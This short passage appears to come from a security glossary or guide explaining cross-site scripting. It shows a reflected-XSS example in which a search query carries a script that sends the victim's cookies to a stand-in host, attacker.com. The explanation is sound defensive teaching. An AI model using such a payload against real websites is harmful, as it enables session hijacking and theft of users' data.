A client-side code injection attack where malicious scripts are injected into trusted websites, executing in victims' browsers to steal data, hijack sessions, or perform actions on their behalf.
Cross-Site Scripting (XSS) is a client-side code injection attack that allows attackers to execute malicious scripts in victims' browsers. When a web application includes untrusted data in a page without proper validation or encoding, attackers can inject scripts that steal sensitive information, hijack user sessions, or perform actions on behalf of users.
A vulnerable search page that reflects user input:
GET /search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Response:
<p>Search results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p>